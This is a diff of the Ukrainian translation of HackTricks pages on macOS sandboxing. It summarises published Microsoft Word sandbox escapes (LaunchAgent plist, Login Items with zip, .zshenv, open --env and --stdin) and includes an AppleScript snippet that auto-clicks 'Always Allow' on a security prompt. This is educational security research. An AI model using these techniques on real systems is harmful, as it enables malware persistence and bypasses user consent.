[https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (їм вдалося записати файли поза пісочницею, ім'я яких починається на `~$`). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (вони можуть записувати файли за межами пісочниці, назва яких починається з `~$`). ### Профілі пісочниці MacOS -macOS зберігає системні профілі пісочниці в двох місцях: **/usr/share/sandbox/** та **/System/Library/Sandbox/Profiles**. +macOS зберігає профілі системної пісочниці у двох місцях: **/usr/share/sandbox/** та **/System/Library/Sandbox/Profiles**. -І якщо сторонній додаток має entitlement _**com.apple.security.app-sandbox**_, система застосовує профіль **/System/Library/Sandbox/Profiles/application.sb** до цього процесу. +І якщо сторонній додаток має право _**com.apple.security.app-sandbox**_, система застосовує профіль **/System/Library/Sandbox/Profiles/application.sb** до цього процесу. ### **Профіль пісочниці iOS** -Стандартний профіль називається **container**, і у нас немає текстового представлення SBPL. У пам'яті ця пісочниця представлена як дерево бінарних дозволів/заборон для кожного дозволу з пісочниці. +За замовчуванням профіль називається **container**, і у нас немає текстового представлення SBPL. У пам'яті ця пісочниця представлена як бінарне дерево Allow/Deny для кожного дозволу з пісочниці. -### Налагодження та обхід пісочниці +### Налагодження та обход пісочниці -На macOS, на відміну від iOS, де процеси з початку ізольовані ядром, **процеси повинні самі вибирати пісочницю**. Це означає, що на macOS процес не обмежується пісочницею, поки він активно не вирішить увійти в неї. +На macOS, на відміну від iOS, де процеси з самого початку ізольовані ядром, **процеси повинні самостійно вибрати пісочницю**. Це означає, що на macOS процес не обмежений пісочницею, поки він активно не вирішить увійти в неї. -Процеси автоматично входять в пісочницю з userland при запуску, якщо вони мають entitlement: `com.apple.security.app-sandbox`. Для докладного пояснення цього процесу перегляньте: +Процеси автоматично потрапляють у пісочницю з користувацького простору, коли вони запускаються, якщо у них є право: `com.apple.security.app-sandbox`. Для детального пояснення цього процесу дивіться: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -240,20 +241,20 @@ macOS зберігає системні профілі пісочниці в д ### **Перевірка привілеїв PID** -[**Згідно з цим**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (це `__mac_syscall`) може перевірити, **чи дозволена операція чи ні** пісочницею в певному PID. +[**Згідно з цим**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (це `__mac_syscall`), може перевірити, **чи дозволена операція чи ні** пісочницею для певного PID. -Інструмент [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) може перевірити, чи може PID виконати певну дію: +[**Інструмент sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) може перевірити, чи може PID виконати певну дію: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Користувацький SBPL в додатках App Store +### Custom SBPL in App Store apps -Для компаній можливо зробити так, щоб їх додатки працювали **з користувацькими профілями пісочниці** (замість стандартного). Для цього вони повинні використовувати entitlement **`com.apple.security.temporary-exception.sbpl`**, який повинен бути схвалений Apple. +Можливо, що компанії можуть змусити свої додатки працювати **з кастомними профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати Apple. -Можливо перевірити визначення цього entitlement у **`/System/Library/Sandbox/Profiles/application.sb:`** +Можна перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -261,18 +262,19 @@ sbtool all (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Це **оцінить рядок після цього дозволу** як профіль пісочниці. +Це **оцінить рядок після цього права** як профіль Sandbox. + +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index e70acbf81..024c26e40 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,21 @@ # macOS Default Sandbox Debug -## Налаштування за замовчуванням пісочниці macOS +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -На цій сторінці ви знайдете, як створити додаток для запуску довільних команд зсередини пісочниці за замовчуванням macOS: +На цій сторінці ви можете знайти, як створити додаток для запуску довільних команд зсередини стандартного пісочниці macOS: 1. Скомпілюйте додаток: @@ -52,10 +51,9 @@ return 0; ``` {% endcode %} -Скомпілюйте його, виконавши: `clang -framework Foundation -o SandboxedShellApp main.m` - -2. Побудуйте пакет `.app` +Скомпілюйте його, запустивши: `clang -framework Foundation -o SandboxedShellApp main.m` +2. Створіть пакет `.app` ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -77,9 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` +3. Визначте права -3. Визначте привілеї - +{% tabs %} +{% tab title="пісочниця" %} ```bash cat << EOF > entitlements.plist @@ -92,27 +91,45 @@ cat << EOF > entitlements.plist EOF ``` +{% endtab %} - - -\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. Підпишіть додаток (вам потрібно створити сертифікат у ключовому ланцюжку) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp - -## An d in case you need this in the future - -codesign --remove-signature SandboxedShellApp.app - +{% tab title="пісочниця + завантаження" %} +```bash +cat << EOF > entitlements.plist + + + + +com.apple.security.app-sandbox + +com.apple.security.files.downloads.read-write + + + +EOF ``` +{% endtab %} +{% endtabs %} + +4. Підпишіть додаток (вам потрібно створити сертифікат у ключниці) +```bash +codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app +./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp + +# An d in case you need this in the future +codesign --remove-signature SandboxedShellApp.app +``` +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
-``` +{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 9f7525055..d2af1da07 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,76 +1,78 @@ -# Пропуски пісочниці macOS Office +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (Експерт з червоної команди HackTricks AWS)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Пропуск пісочниці Word через запуск агентів +### Word Sandbox bypass via Launch Agents -Додаток використовує **власну пісочницю** з дозволом **`com.apple.security.temporary-exception.sbpl`**, і ця власна пісочниця дозволяє записувати файли будь-де, поки ім'я файлу починається з `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Застосунок використовує **кастомний Sandbox** з правом **`com.apple.security.temporary-exception.sbpl`**, і цей кастомний пісочниця дозволяє записувати файли будь-де, якщо ім'я файлу починається з `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Отже, втеча була настільки простою, як **запис `plist`** LaunchAgent у `~/Library/LaunchAgents/~$escape.plist`. +Отже, втеча була такою ж легкою, як **запис `plist`** LaunchAgent у `~/Library/LaunchAgents/~$escape.plist`. Перевірте [**оригінальний звіт тут**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Пропуск пісочниці Word через елементи входу та zip +### Word Sandbox bypass via Login Items and zip -Пам'ятайте, що після першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`, хоча після попередньої уразливості вже не було можливості записувати в `/Library/Application Scripts` або в `/Library/LaunchAgents`. +Пам'ятайте, що з першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`, хоча після виправлення попередньої уразливості не було можливості записувати в `/Library/Application Scripts` або в `/Library/LaunchAgents`. -Було виявлено, що з пісочниці можна створити **Елемент входу** (додатки, які виконуватимуться при вході користувача). Однак ці додатки **не виконаються**, якщо вони **не підписані** і **неможливо додати аргументи** (тому ви не можете просто запустити зворотний shell, використовуючи **`bash`**). +Було виявлено, що зсередини пісочниці можливо створити **Login Item** (додатки, які виконуються, коли користувач входить в систему). Однак ці додатки **не виконуватимуться, якщо** вони **не підписані** і **неможливо додати аргументи** (тому ви не можете просто запустити зворотний шелл, використовуючи **`bash`**). -Після попереднього пропуску пісочниці Microsoft відключив можливість записувати файли в `~/Library/LaunchAgents`. Однак було виявлено, що якщо помістити **zip-файл як Елемент входу**, `Archive Utility` просто **розпакує** його у поточному місці. Оскільки за замовчуванням папка `LaunchAgents` з `~/Library` не створюється, було можливо **заархівувати plist у `LaunchAgents/~$escape.plist`** і **розмістити** zip-файл у **`~/Library`**, тому після розпакування він дістанеться до місця постійного збереження. +З попередньої втечі з пісочниці Microsoft відключив можливість запису файлів у `~/Library/LaunchAgents`. Однак було виявлено, що якщо ви помістите **zip-файл як Login Item**, `Archive Utility` просто **розпакує** його в його поточному місці. Тому, оскільки за замовчуванням папка `LaunchAgents` з `~/Library` не створюється, було можливим **запакувати plist у `LaunchAgents/~$escape.plist`** і **помістити** zip-файл у **`~/Library`**, щоб при розпакуванні він досягнув місця збереження. Перевірте [**оригінальний звіт тут**](https://objective-see.org/blog/blog\_0x4B.html). -### Пропуск пісочниці Word через елементи входу та .zshenv +### Word Sandbox bypass via Login Items and .zshenv -(Пам'ятайте, що після першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`). +(Пам'ятайте, що з першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`). -Однак попередня техніка мала обмеження: якщо папка **`~/Library/LaunchAgents`** існує через те, що інші програми створили її, вона не працюватиме. Тому для цього було виявлено інший ланцюжок Елементів входу. +Однак попередня техніка мала обмеження: якщо папка **`~/Library/LaunchAgents`** існує, тому що інше програмне забезпечення створило її, це призведе до збою. Тому для цього було виявлено інший ланцюг Login Items. -Атакуючий може створити файли **`.bash_profile`** та **`.zshenv`** з навантаженням для виконання, а потім заархівувати їх і **записати zip-файл у папку користувача жертви**: **`~/~$escape.zip`**. +Зловмисник міг створити файли **`.bash_profile`** і **`.zshenv`** з корисним навантаженням для виконання, а потім запакувати їх і **записати zip у папку користувача жертви**: **`~/~$escape.zip`**. -Потім додайте zip-файл до **Елементів входу**, а потім до додатку **`Terminal`**. Коли користувач знову увійде в систему, zip-файл буде розпакований у файли користувача, перезаписуючи **`.bash_profile`** та **`.zshenv`**, і, отже, термінал виконає один з цих файлів (залежно від того, чи використовується bash чи zsh). +Потім додайте zip-файл до **Login Items** і потім до **додатка Terminal**. Коли користувач повторно входить, zip-файл буде розпакований у файлі користувача, перезаписуючи **`.bash_profile`** і **`.zshenv`**, і, отже, термінал виконає один з цих файлів (в залежності від того, чи використовується bash або zsh). Перевірте [**оригінальний звіт тут**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Пропуск пісочниці Word за допомогою Open та змінних середовища +### Word Sandbox Bypass with Open and env variables -З процесів у пісочниці все ще можна викликати інші процеси за допомогою утиліти **`open`**. Більше того, ці процеси будуть працювати **в межах власної пісочниці**. +З пісочницьких процесів все ще можливо викликати інші процеси, використовуючи утиліту **`open`**. Більше того, ці процеси будуть виконуватися **в межах їх власної пісочниці**. -Було виявлено, що утиліта open має опцію **`--env`** для запуску програми з **конкретними змінними середовища**. Тому було можливо створити файл **`.zshenv` у папці** **всередині** **пісочниці** і використовувати `open` з `--env`, встановлюючи змінну **`HOME`** на цю папку, відкриваючи додаток `Terminal`, який виконає файл `.zshenv` (з якоїсь причини також було потрібно встановити змінну `__OSINSTALL_ENVIROMENT`). +Було виявлено, що утиліта open має опцію **`--env`** для запуску програми з **конкретними змінними середовища**. Отже, було можливим створити **файл `.zshenv`** у папці **всередині** **пісочниці** і використовувати `open` з `--env`, встановлюючи **змінну `HOME`** на цю папку, відкриваючи додаток `Terminal`, який виконає файл `.zshenv` (з якоїсь причини також було потрібно встановити змінну `__OSINSTALL_ENVIROMENT`). Перевірте [**оригінальний звіт тут**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Пропуск пісочниці Word за допомогою Open та stdin +### Word Sandbox Bypass with Open and stdin -Утиліта **`open`** також підтримувала параметр **`--stdin`** (і після попереднього пропуску вже не було можливо використовувати `--env`). +Утиліта **`open`** також підтримувала параметр **`--stdin`** (і після попередньої втечі більше не було можливості використовувати `--env`). -Справа в тому, що навіть якщо **`python`** був підписаний Apple, він **не виконає** сценарій з атрибутом **`quarantine`**. Однак було можливо передати йому сценарій з stdin, тому він не перевірятиме, чи був він у карантині чи ні: +Справа в тому, що навіть якщо **`python`** був підписаний Apple, він **не виконає** скрипт з атрибутом **`quarantine`**. Однак було можливим передати йому скрипт з stdin, тому він не перевірить, чи був він під карантином чи ні: 1. Скиньте файл **`~$exploit.py`** з довільними командами Python. -2. Запустіть _open_ **`–stdin='~$exploit.py' -a Python`**, який запускає додаток Python з нашим файлом, що служить йому в якості стандартного вводу. Python з радістю виконує наш код, і оскільки він є дочірнім процесом _launchd_, він не обмежений правилами пісочниці Word. +2. Запустіть _open_ **`–stdin='~$exploit.py' -a Python`**, що запускає додаток Python з нашим скинутим файлом, що служить його стандартним введенням. Python з радістю виконує наш код, і оскільки це дочірній процес _launchd_, він не підпорядковується правилам пісочниці Word. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (Експерт з червоної команди HackTricks AWS)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index 4b4275649..d0a4bdfa8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,34 +1,35 @@ -# macOS Сценарії Apple +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Сценарії Apple +## Apple Scripts -Це мова сценаріїв, яка використовується для автоматизації завдань **взаємодії з віддаленими процесами**. Вона дозволяє досить легко **запитувати інші процеси виконувати певні дії**. **Шкідливе програмне забезпечення** може зловживати цими можливостями, щоб використовувати функції, експортовані іншими процесами.\ -Наприклад, шкідливе програмне забезпечення може **впроваджувати довільний JS-код на відкриті сторінки браузера**. Або **автоматично клацати** деякі дозволи, запитані користувачем; +Це мова сценаріїв, що використовується для автоматизації завдань **взаємодії з віддаленими процесами**. Вона дозволяє досить легко **просити інші процеси виконувати певні дії**. **Шкідливе ПЗ** може зловживати цими функціями для зловживання функціями, експортованими іншими процесами.\ +Наприклад, шкідливе ПЗ може **впроваджувати довільний JS код у відкриті сторінки браузера**. Або **автоматично натискати** деякі дозволи, запитані у користувача; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` -Ось деякі приклади: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Знайдіть більше інформації про шкідливе програмне забезпечення, яке використовує скрипти Apple [**тут**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Ось кілька прикладів: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +Знайдіть більше інформації про шкідливе ПЗ, що використовує applescripts [**тут**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Скрипти Apple можуть бути легко "**компільовані**". Ці версії можуть бути легко "**декомпільовані**" за допомогою `osadecompile` +Apple скрипти можуть бути легко "**скомпільовані**". Ці версії можуть бути легко "**декомпільовані**" за допомогою `osadecompile` -Однак ці скрипти також можуть бути **експортовані як "Тільки для читання"** (через опцію "Експорт..."): +Однак ці скрипти також можуть бути **експортовані як "Тільки для читання"** (через опцію "Експортувати..."):
``` @@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled ``` і в цьому випадку вміст не може бути декомпільований навіть за допомогою `osadecompile` -Однак є деякі інструменти, які можна використовувати для розуміння цих виконуваних файлів, [**прочитайте це дослідження для отримання додаткової інформації**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Інструмент [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) з [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) буде дуже корисним для розуміння того, як працює сценарій. +Однак все ще існують деякі інструменти, які можна використовувати для розуміння таких виконуваних файлів, [**прочитайте це дослідження для отримання додаткової інформації**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Інструмент [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) з [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) буде дуже корисним для розуміння того, як працює скрипт. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 